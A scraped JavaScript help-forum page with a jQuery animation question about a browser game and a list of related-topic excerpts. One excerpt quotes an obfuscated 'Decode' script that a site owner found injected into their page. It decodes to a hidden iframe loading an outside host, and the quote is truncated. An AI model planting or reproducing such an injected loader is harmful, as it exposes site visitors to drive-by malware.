The limits of jquery - JavaScript Help


im having a problem while moving a object accross the screen and trying to make it hide() while its still moving.


if you look at my page below it will get you a some what idea of what im doing.
the problem is im wanting to blow something up while its moving and im having problems doing this.

one problem is while using jquery animation i cant tell a element what to do until the animation is done with that element.

another thing i hate how jquery animation slows down right before stoping. Im assuming thats jquery doing that because im trying to blow up a fast moving ship i cant have it be slowing down to a stop then blow up. My home page isnt showing the faster ships im working on atm but will still give you an idea what im doing. would really appreciate some help im at a halt now.
http://www.stargatesystemlords.com

$('.'+tag)[effect](0,function(){ $(this).animate({'margin-left': '+='+left , 'margin-top': '+='+top , 'width': '+='+width ,'height': '+='+height}, +speed); });
Posted On: Friday 28th of December 2012 03:59:49 AM Total Views:  132
View Complete with Replies

RELATED TOPICS OF JavaScript PROGRAMMING LANGUAGE




remove a list item

I would like to know how can i remove a selected item from an ordered list which was dynamicaly created\t Thanking you in advance!!
VIEWS ON THIS POST

299

Posted on:

Thursday 22nd November 2012
View Replies!

submit button working fine in i.e but giving error?

Thanks a lot Graphix
VIEWS ON THIS POST

252

Posted on:

Saturday 24th November 2012
View Replies!

Any advice on how to build a simple javascript form?

Any help would be appreciated
VIEWS ON THIS POST

228

Posted on:

Saturday 24th November 2012
View Replies!

form verification using regular expressions

I keep getting an error that says item is null. I'm a little lost because once I got my regExp to start working this actually worked for a little bit. When I came back i was getting an error. I have no idea what i did. var creditExp = /^([345])(\d{3})\-(\d{4})\-(\d{4})\-(\d{4})$/; var creditNumber = document.getElementById("creditnum").value; var item = creditExp.exec(creditNumber); document.getElementById("creditnum").value = item[1] + item[2] + "-" + item[3] + "-" + item[4] + "-" + item[5]; if (item[1] == 4 && document.getElementById("card1").checked == true) { return true; } else if (item[1] == 5 && document.getElementById("card2").checked == true) { return true; } else if (item[1] == 3 && document.getElementById("card3").checked == true) { return true; } else { alert("You must enter a valid credit card number."); document.getElementById("creditnum").focus(); return false; } var billingName = document.getElementById('creditname').value; if (billingName == null || billingName == "") { alert("You must enter your first name as printed on your credit card!"); document.getElementById('creditname').focus(); return false; }
VIEWS ON THIS POST

218

Posted on:

Monday 26th November 2012
View Replies!

Determining variable type

If I have a variable of some sort, say x, how can I find out what variable type javascript thinks it is For example, if I've declared x as 5 earlier, how do I know now whether it's a string ...
VIEWS ON THIS POST

124

Posted on:

Friday 30th November 2012
View Replies!

Disable close button of a pop up window using javascript

How to disable close button of a pop up window using javascript
VIEWS ON THIS POST

129

Posted on:

Friday 30th November 2012
View Replies!

loading image -> detect when image is done loading

, I have a web application up at http://niceguy.wustl.edu/openlayers It's a comparison tool for different gridded emission data using OpenLayers mapping. Feel free to play around with it. I'm looking for a way to have a loading message once the ...
VIEWS ON THIS POST

162

Posted on:

Friday 30th November 2012
View Replies!

Scrolling textarea with JS in Safari

Hi all, I'm trying to keep the scrollbar positions of a textarea and a div in sync. Right now I'm doing that basically by settting div.scrollTop = textarea.scrollTop every 250 ms. This works fine in FF and IE, but not ...
VIEWS ON THIS POST

241

Posted on:

Friday 30th November 2012
View Replies!

turn bookmarklet into greasemonkey script

javascript function(){var k,x,t,i,j,p; for(k=0;x=document.links[k];k+ +){t=x.href.replace(/[%]3A/ig,':').replace(/[%]2f/ ig,'/');i=t.lastIndexOf('http');if(i>0){ t=t.substring(i); j=t.indexOf('&'); if(j>0)t=t.substring(0,j); p=/https\:\/\/[^ \s]*[^.,;'%22>\s\)\]]/.exec(unescape(t)); if(p) x.href=p[0]; } else if (x.onmouseover&&x.onmouseout){x.onmouseover(); if (window.status && window.status.indexOf('://')!=-1)x.href=window.status; x.onmouseout(); } x.onmouseover=null; x.onmouseout=null; }})();...
VIEWS ON THIS POST

232

Posted on:

Friday 30th November 2012
View Replies!

obtain function name

Hi Is there any way to obtain the name of the function, inside the function which was called. Ex: function something() { alert( "The name of the function you invoke is " ......should says 'something' ); }...
VIEWS ON THIS POST

194

Posted on:

Friday 30th November 2012
View Replies!

Browser Close Event

I have googled for my issue in this group. This question was asked many times and many solution was given. But I want clear cut solution for the issue. The issue is: I tried to capture the browse close ...
VIEWS ON THIS POST

172

Posted on:

Friday 30th November 2012
View Replies!

Confused about setTimeout function.

first things first, please take a second to check out the page on the link below. http://bookofjavascript.com/Chapter13/Assignment.html In this page, you are supposed to click on the "Make Happiness Bounce" button to make the smiley face start bouncing and ...
VIEWS ON THIS POST

207

Posted on:

Friday 30th November 2012
View Replies!

JavaScript "objects" to extend HTML Elements

Hi! I create HTML pages on the server side. I want to extend DIV elements with more information. E.g.:
Now I want Joe to have an age for example and access it using: $('joe').age = 20; Doing ...

VIEWS ON THIS POST

230

Posted on:

Friday 30th November 2012
View Replies!

IF & math formula student question

I'm using the formula: var ship=round((((total1/20)*2)+((total2/20)*2)+((total3/20)*2)+(((total6/20)*3) +2)+((total7/20)*2)),2) to calculate shipping charges, it works perfect. Now, I want to modify this formula so the minimum net result = 5 and the maximum = 30. So if the calculated value equals less ...
VIEWS ON THIS POST

228

Posted on:

Friday 30th November 2012
View Replies!

Javascript Debugger defaulting to VS2003 instead of MS Script Editor

Help! I installed the Office MS script editor which seems to be a stripped down version of visual interdev for scripts. After I installed it I was able to insert the word "debugging" in jscript and have it (after choosing ...
VIEWS ON THIS POST

189

Posted on:

Friday 30th November 2012
View Replies!

Using Javascript to change a table

I would like to use the equivalent commands of 'onEnter' and 'onLeave' to change the background of cells in a table. Can anyone tell me if there is a simple method of doing this. How can I tell which cell ...
VIEWS ON THIS POST

199

Posted on:

Friday 30th November 2012
View Replies!

Can't import .OCX assembly into Web Matrix Project.

I am using Web Matrix Project as .NET programming environment. Can you show me detailed steps how to import the .ocx library into the Web Matrix Project. I can't seem to be able to import other assembly than .dll, ...
VIEWS ON THIS POST

194

Posted on:

Friday 30th November 2012
View Replies!

Showing/Hiding Attributes of the Window Using Javascript

I would like to hide certain parts of a window such and the menu bar, toolbar, status bar, etc. However, the following properties of the window object give an error saying they do not exist in Internet Explorer (whether any ...
VIEWS ON THIS POST

159

Posted on:

Friday 30th November 2012
View Replies!

VB.Net Compiling problem

Does anyone know how can I get al the references of my project, because when I'm compiling my solution with vbc I get a lot of errors about : subordinados. vb (102) : error BC30002: 'DataView' type is not defined. ...
VIEWS ON THIS POST

169

Posted on:

Friday 30th November 2012
View Replies!

Focus on UI Design

UI is important because it affects the feelings, the emotions, and the mood of your users. If the UI is wrong and the user feels like they can't control your software, they literally won't be happy and they'll blame it ...
VIEWS ON THIS POST

180

Posted on:

Friday 30th November 2012
View Replies!

Debugging Javascript

Does anyone know a way to debug javascript in IE I usually use mozilla's built in debugger but I have stumbled across a problem that occurs in IE and not Mozilla.
VIEWS ON THIS POST

187

Posted on:

Friday 30th November 2012
View Replies!

read/write jpeg attributes

, Is it possibel to retrieve a comment/text from a jpeg image and put it in a var/string Can I write a comment/text to a jpeg aswell I can not find much above this issue - hope someone can help. ...
VIEWS ON THIS POST

179

Posted on:

Friday 30th November 2012
View Replies!

change button text field .

everybody i need help how can i make it user click join button->change the text "view" after that user click view btn goes another page any body plz help me. this code change text working fine. function showtext() { document.getElementById("joinbutton").childNodes[0].nodeValue="View in MyPlans" } Join
VIEWS ON THIS POST

291

Posted on:

Sunday 2nd December 2012
View Replies!

Right click and get "copy link address" on javascript redirect

So here's my situation, I have a div that is clickable and redirects to a page using the window.location.href method. I'm not using anchor tags because within the div, there are other links that can be clicked. So I'm using the onclick redirect for the div, then using stopPropagation to prevent the redirect when links are clicked. The problem is, I would like the javascript redirect to also work like a link. So that when you right click it, you are given the option to copy the link address, as this is significantly more convenient for myself and my users, rather than having to click it first and then copy the URL. Does anyone know how this can be accomplished This post has been edited by itdoell: 30 November 2011 - 04:07 PM
VIEWS ON THIS POST

202

Posted on:

Sunday 23rd December 2012
View Replies!

stopPropagation question

there, Maybe someone can point me in the right direction here.... Scenario: Tic-tac-toe game, table with 9 cells. I have the game coded to work perfectly but the final issue is to stop the player from being able to click the same cell and override the other players move. I was able to disable the onclick event by using stopPropagation, but I can't find a way to re-enable it after the game is over. Maybe there's a more elegant way of doing it.. Anyone
VIEWS ON THIS POST

278

Posted on:

Sunday 23rd December 2012
View Replies!

The For... In Statement

Okay I just saw an example of the for..in statement and it seems that it basically is an array. However, I know in javascript there are ways to make an array. So my question is do most web developers use the for...in statement or is it just used as an alternative method to the javascript array
VIEWS ON THIS POST

162

Posted on:

Sunday 23rd December 2012
View Replies!

Making a mouseover/out task into function using classes for images

After many trials and errors finding exactly what someone wanted I came up with the solution I wanted for an image rollover. The problem is I put all the code directly into the mouseover/mouseout function. I am not sure how to implement this into two separate Javascript functions to limit the amount of code I have to write. The reason I am not sure how to write the function is because the images are in classes and the results are going to be pulled from a sql query, so they can't have their own id. So, in a nutshell, I just would like some guidance on how to put the mouseover/mouseout code into a Javascript function. Many
VIEWS ON THIS POST

139

Posted on:

Sunday 23rd December 2012
View Replies!

auto refresh every 2 seconds of a textarea

i have a text area of php inside that reads off messages of a database and i wanted to have it auto refresh every 2 seconds. im making it into a chat box. at the moment what you have to do is press a refresh button but its a hassel. i dont want to get into to much ajax becuase i have a ton more stuff to do and dont want to spend to much time on 1 thing. but it looks like this is there any javascript i could post around this to make it just refresh the textarea and repeat the process every 2 seconds
VIEWS ON THIS POST

199

Posted on:

Sunday 23rd December 2012
View Replies!

Download MP3 file using JAvascript

Hi I need to allow user to download mp3 files when they click on the link rather than streaming the audio in the browser. Need to use only Javascript to download the file. Any ideas\t Please help me. its very urgent.
VIEWS ON THIS POST

376

Posted on:

Sunday 23rd December 2012
View Replies!

2 Radio buttons to = 1 image

. I am new here. I know the top says do your homework first but I am new to javascript and I am not sure if my idea will even work in java script but here we go. My Dad has a web page and I am trying to help him out with it. He builds duck calls and I am trying to make a build your own call section for him. I am wanting every color combination possible for this page to be set up and I would like to do it with radio buttons and the color name next to it. His calls come in 2 parts. The first is the barrel and the second part is the insert. I am wanting people to be able to be able to click 2 separate colors to show a different image for each selection they choose. So I.E. Black + Orange = BlackOrange.jpg and it will show a picture of a black barrel and orange insert of the call. The lay out is pretty simple. I am wanting the picture on top and 2 columns to be listed with radio buttons going down each column and by each radio button i am wanting the colors. For example. ------------[Image] Barrels -------------- Inserts ================================= o Black --------------- o Black o White --------------- o White o Orange--------------- o Orange The page didn't show up like I wanted it took out the spacing so I inserted -'s to show off the actual look And so on and so forth. I can read java script and edit it decently. I am not a complete newbie when it comes to coding but I can't figure out how to write it to get the output I want. I have found several different pages that offer 1 radio button for each picture but I am wanting to see if I can get it setup the same way as I have it laid out if it is even possible. Any help would be appreciated and if you can't help if somebody could find me a link to something that could point me in the right direction that would be appreciated as well. I know I can go the easy route and just do 1 image for 1 radio button and have it setup like: [Image] Barrels/Inserts ================ oBlack/Black oBlack/White But that just doesn't look as professional and to be honest I have been trying to get the way I want it done for a while now and have had no success. It is more of a personal challenge for me to find out how to get it done the way I want. I am thinking it should be something like: if column A1 + column B3 = true go to imageA1B3.jpg(which would be a black barrel with a orange insert) or something along that lines but I can't get it to work any way I try. Anyways sorry for the long post and like I said any help would be appreciated.
VIEWS ON THIS POST

182

Posted on:

Sunday 23rd December 2012
View Replies!

SwfObject breaks Javascript Image Rotator

I have a Javascript slideshow (image rotator) on an HTML page, and it works fine until I embed a swf onto the same page. At that point the image rotator won't show up anymore. Is there a way to fix this Can I have both on the same HTML page
VIEWS ON THIS POST

202

Posted on:

Sunday 23rd December 2012
View Replies!

java script +UML activity diagram

hai, is there any open source js library for creating UML Activity diagram in html other than Joints
VIEWS ON THIS POST

183

Posted on:

Sunday 23rd December 2012
View Replies!

XHR using basic authentication

Hi , I'm struggling with an issue I'm testing at the moment. I'm using XHR to make some REST requests. Right now I need to handle HTTP 401 responses. When a resource is requested such as a Javascript file or CSS file the browser will popup a prompt for username and password, which is normal behaviour. When I make an XHR request for POST,GET or PUT I get an XHR response which includes a status of 401 and no popup from the browser, this is also normal. The problem is when I make a DELETE request, I get the expected XHR response AND also the browser still pops up the username and password prompt. Not Good. Has anyone had this problem before and is there any solutions out there
VIEWS ON THIS POST

240

Posted on:

Sunday 23rd December 2012
View Replies!

Help using the focus() method

Hi when I make a frameset, instead of having the second child window focused by default on the onload event, I would like to have the first child window focused. I tried this code with no success, the second window still was focused not the first. Can anyone please help Here's my attempt: My focus attempt This post has been edited by codemonkey92: 07 February 2010 - 11:46 PM
VIEWS ON THIS POST

184

Posted on:

Sunday 23rd December 2012
View Replies!

Not sure what I am doing wrong...

This is code is all messed up. What it is to do is let the user type any bag of numbers seperated by commas and then process the numbers in order. If there are two of the same number ex.(1,1,2,3) the output would be (1,2,3). I got the code to work with the prompt, but i cant figure it out using a form and a function. Heres the prompt one that works a=prompt("hello, please type a comma delimited 'bag' of numbers") A=a.split(",") B=[] A.sort() for (i=0;i
VIEWS ON THIS POST

214

Posted on:

Sunday 23rd December 2012
View Replies!

Can't get Switch Statement to Work.

I am having trouble with a switch statement Assignment. I don't really know if what I am doing is even close to right. Assignment: Switch Create a HTML that uses Javascript. Create a page that tells a student the range their mark falls in if they know their letter grade. Below 50 is an "F", 50-59.9 is a D, 60 - 69.9 is a "C", 70 - 79.9 is a "B", 80 - 89.9 is an "A" and 90 - 100 is an "A+". You determine the input and output format. Switch var Mark = document.getElementById('letter').value switch(Mark) { case 1: if (Mark = A+ || Mark = a+) alert("Your Mark Range is 90% - 100%"); break; case 2: if (Mark = A || Mark = a) alert("Your Mark Range is 80% - 89.9%"); break; case 3: if (Mark = B || Mark = b) alert("Your Mark Range is 70% - 79.9%"); break; case 4: if (Mark = C || Mark = c) alert("Your Mark Range is 60% - 69.9%"); break; case 5: if (Mark = D || Mark = d) alert("Your Mark Range is 50-59.9"); break; case 6: if (Mark = F || Mark = f) alert("Your Mark Range is below 50%"); break; } Please Enter Letter Grade to find Mark Range. This post has been edited by cod4ever: 17 January 2010 - 04:58 PM
VIEWS ON THIS POST

245

Posted on:

Sunday 23rd December 2012
View Replies!

simple animation

i'm trying to graph line with a delay between each line drawn - my code is: var jg = new jsGraphics('Canvas'); jg.setColor('maroon'); jg.drawLine(40,130,80,120); setTimeout('jg.paint()',10000); jg.drawLine(80,120,120,110); setTimeout('jg.paint()',10000); unfortunately it draws all the lines at the same time i.e the setTimeout function doesn't like the paint method - any ideas Abbey
VIEWS ON THIS POST

215

Posted on:

Sunday 23rd December 2012
View Replies!

Live Tv Script

Please Give me java script for live tv for my web page.
VIEWS ON THIS POST

194

Posted on:

Sunday 23rd December 2012
View Replies!

Change CSS with JavaScript

, I am at the very beginning of Javascript. This is the first website I tried to include Javascript, so don't be too mean What I want to do is to change a CSS property dynamically. It'll be best if I show you what I did: function ChangeHeight() { var browser = navigator.appName; if(browser == "Microsoft Internet Explorer") { var clientHeight = document.body.clientHeight; var contentHeight = clientHeight - 218; document.getElementById('content').style.height = contentHeight; } else { var clientHeight = window.innerHeight; var contentHeight = clientHeight - 218; document.getElementById('content').style.height = contentHeight; } } This is in my header. I heard that window.innerHeight doesn't work for Internet Explorer, that's why the if statement. What I am trying to do is to change my height of my content area dynamically when it gets resized. My body tag looks like this: And I have a div area in my body, which looks like that: And the content div in my external stylesheet, which I of course linked up, looks like this: #content { height: 400px; float: right; width: 678px; padding-bottom: 1em; background-image: url(../images/dp-content-purp.gif); border-top: 0px solid; border-right: 2px solid; border-bottom: 0px solid; border-left: 2px solid; border-color: #FFF; overflow: auto; } Why I want do change this Well... Different people have different resolutions and I want that my website fits perfectly into the browser. *EDIT: Maybe something, that could help. I tried the following: alert(document.getElementById('content').style.height); This shows just an empty MessageBox with nothing in it. And by the way... Happy
VIEWS ON THIS POST

202

Posted on:

Sunday 23rd December 2012
View Replies!

javascript Incorrect RHS Data Type

What happens if the right hand side data type is incorrect This post has been edited by dbrine: 18 October 2009 - 07:07 AM
VIEWS ON THIS POST

228

Posted on:

Sunday 23rd December 2012
View Replies!

"function Decode" script been hacked into my site?

I recently looked at the live code on the homepage of my personal site, and am I a bit concerned upon discovering a script that appears at the very bottom of my page, AFTER the closing html tag. This is the script: function Decode(){var temp='',i,c=0,out='';var str='60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!98!46!108!45!97!45!99!46!99!110!47!34!32!115!116!121!108!101!61!34!100!105!115!112!108!97!121!58!110!111!110!101!34!62!60!47!105!102!114!97!109!101!62!';l=str.length;while(c
VIEWS ON THIS POST

226

Posted on:

Monday 24th December 2012
View Replies!

need to create a table in a div dynamically with js

I've got 2 div's and the first one has a form in it. I want to create a table with the results of the form results in the second div. It currently erases the page to create the table
VIEWS ON THIS POST

174

Posted on:

Monday 24th December 2012
View Replies!

how to redirect to a jquery tab

i want to redirect the page after submitting to the exact page with the tabs. but when i submit it just loads the same page. but what i want is it should load under the home tabs. my other pages are loading in the div tags which are loaded using the Jquery tab here is my code. please help me Enter The Question   Enter the Answers 01. Correct Answer 02. Correct Answer 03. Correct Answer 04. Correct Answer i have tried like that( i have bold it.. please refer the bold section). my home tabs are like this $(document).ready(function() { $('#main-side-content').tabs(); }); Home Create A Class Register Students MCQ Paper Setting Create Paper
VIEWS ON THIS POST

182

Posted on:

Monday 24th December 2012
View Replies!

Basic Javascript Rollover

For some reason I cant get my rollovers to work on my web design here's the html http://halffull.free...rash/index.html THE Javascript window.onload = rolloverInit; function rolloverInit() { for (var i=0; i
VIEWS ON THIS POST

229

Posted on:

Monday 24th December 2012
View Replies!

Hide Address of server in popupwindow


VIEWS ON THIS POST

260

Posted on:

Monday 24th December 2012
View Replies!

how to close browser window with javascript

hi, can any one tell me what are the ways to close browser window in javascript. i'm trying with window.close() but it's not working in firefox..
VIEWS ON THIS POST

207

Posted on:

Monday 24th December 2012
View Replies!

Passing form values to new window

I'm trying to figure out how to pass selected values from a form to a page (both pages are ASP) in a new window via the URL. My form uses radio buttons as a means to make a selection: Option1 Option2 Option3 Option4 So that my URL would look something like this: http://www.mywebsite...t.aspu_input=A Any ideas on how to do this
VIEWS ON THIS POST

242

Posted on:

Monday 24th December 2012
View Replies!

Floating Window Codes

, I am so glad I found you ! So here is my problem: I built this Flash site(first one) for a photographer. Now I have thumbnails/button that open to a new browser window with the corresponding photo gallery. Now, my client wants the window to be menubarless, no scrollbar, basically only have the frame with her name on it. I see it all the time but I am having a real hard time finding the right way to do it... Right now, I have her galleries on regular browser window. First, should I add some Actionscript or Javascript to the button so the link would open onto the floating window. Do I have to add something to the galleries's HTML script and where on it Can you help me with the codes and all If so, THANK YOU SO MUCH!! I have been pulling my hair out over this for the last few weeks. Let me know if you need more details, Marianne , okay, im sorry i misunderstood your question when i read it the first time, or i didnt realize it had to be a flash button. im not a flash master, might want to move this to the flash forum and get one of them in here. but in the meantime, try adding the first bit of code i gave you to the html file on which the flash is placed, in the header. then, in the actions on the button add java script:popUp('filename.html') with filename.html being the full url of the gallery, im not sure if the javascript from the html page will carryover into the html, thats a question for the flash gurus, but its worth a shot. sorry. hope they help you out .
VIEWS ON THIS POST

218

Posted on:

Monday 24th December 2012
View Replies!

Stop YouTube video when closing div - JavaScript Help

, I am using a hide/show system which is displaying youtube videos. I would like the youtube video to STOP whenever the div is closed.How do I do this
VIEWS ON THIS POST

188

Posted on:

Friday 28th December 2012
View Replies!

httpOnly Cookie retrieval - JavaScript Help

For FireFoxI've been learning more about AJAX, and one of my applications need to read a httpOnly cookie (not my choice) in order to work properly. How can I go about this I tried: var req = null; try { req = new XMLHttpRequest(); } catch(e) {} if (!req) try { req = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {} if (!req) try { req = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {} req.open('GET', 'http://www.removed.com/', false); req.send(null); alert(req.getResponseHeader("bb_sessionhash")); Yet his only outputs null
VIEWS ON THIS POST

264

Posted on:

Friday 28th December 2012
View Replies!